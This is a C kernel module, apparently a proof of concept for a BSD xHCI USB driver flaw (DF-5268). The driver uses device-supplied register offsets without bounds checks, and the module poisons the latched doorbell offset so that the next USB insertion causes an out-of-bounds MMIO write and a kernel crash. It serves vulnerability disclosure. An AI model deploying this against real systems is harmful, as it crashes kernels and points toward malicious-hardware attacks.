/*
 * DF-5268 PoC: unmasked xHCI register offsets (CAPLENGTH/RTSOFF/DBOFF).
 *
 * xhci_init() at sys/bus/u4b/controller/xhci.c:626-629 latches
 *   sc->sc_oper_off = XREAD1(sc, capa, XHCI_CAPLENGTH);
 *   sc->sc_runt_off = XREAD4(sc, capa, XHCI_RTSOFF) & ~0x1F;
 *   sc->sc_door_off = XREAD4(sc, capa, XHCI_DBOFF)  & ~0x3;
 * straight from device MMIO with no bounds check against sc->sc_io_size
 * (the mapped BAR size, recorded in xhci_pci.c:206 and never consulted).
 * Every later XREAD and XWRITE macros adds these offsets raw:
 *   XWRITE4(sc, door, XHCI_DOORBELL(0), 0)  -- xhci.c:1235 (command doorbell)
 *   XWRITE4(sc, door, XHCI_DOORBELL(index), ...) -- xhci.c:2869 (transfers)
 *   XREAD4(sc, runt, XHCI_IMAN(0))          -- xhci.c:1661 (every interrupt)
 *
 * This module simulates a malicious controller (or compromised PCIe device
 * firmware) that returns DBOFF=0xF0000000 by patching the LATCHED copy of
 * the register in the driver softc, exactly what the hardware value would
 * have made xhci_init store. The next doorbell ring then performs an
 * out-of-bounds MMIO WRITE ~3.75 GB past the 16 KB BAR mapping ->
 * kernel page fault.
 *
 * Trigger: insert any USB device (qemu monitor: device_add ...) which makes
 * the hub explore thread run ENABLE_SLOT -> xhci_do_command() doorbell.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/bus.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/callout.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_core.h>
#include <bus/u4b/usb_busdma.h>
#include <bus/u4b/usb_process.h>
#include <bus/u4b/usb_controller.h>
#include <bus/u4b/usb_bus.h>
#include <bus/u4b/controller/xhci.h>

static int
poison_modevent(module_t mod, int type, void *arg)
{
	devclass_t dc;
	struct xhci_softc *sc;

	switch (type) {
	case MOD_LOAD:
		dc = devclass_find("xhci");
		if (dc == NULL) {
			kprintf("xhcipwn: xhci devclass not found\n");
			return (ENXIO);
		}
		sc = devclass_get_softc(dc, 0);
		if (sc == NULL || sc->sc_io_hdl == 0) {
			kprintf("xhcipwn: no xhci0 softc\n");
			return (ENXIO);
		}
		kprintf("xhcipwn: softc=%p io_hdl=0x%llx io_size=0x%llx "
		    "oper_off=0x%x runt_off=0x%x door_off=0x%x\n",
		    sc, (unsigned long long)sc->sc_io_hdl,
		    (unsigned long long)sc->sc_io_size,
		    sc->sc_oper_off, sc->sc_runt_off, sc->sc_door_off);

		/* Simulate DBOFF=0xF0000000 returned by malicious controller */
		sc->sc_door_off = 0xF0000000u;
		kprintf("xhcipwn: sc_door_off poisoned to 0x%08x "
		    "(= malicious DBOFF value)\n", sc->sc_door_off);
		kprintf("xhcipwn: next doorbell ring writes at "
		    "io_hdl+0xF0000000+4*slot -- OOB of 16KB BAR\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("xhcipwn: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t poison_mod = { "xhcipwn", poison_modevent, NULL };
DECLARE_MODULE(xhcipwn, poison_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(xhcipwn, 1);
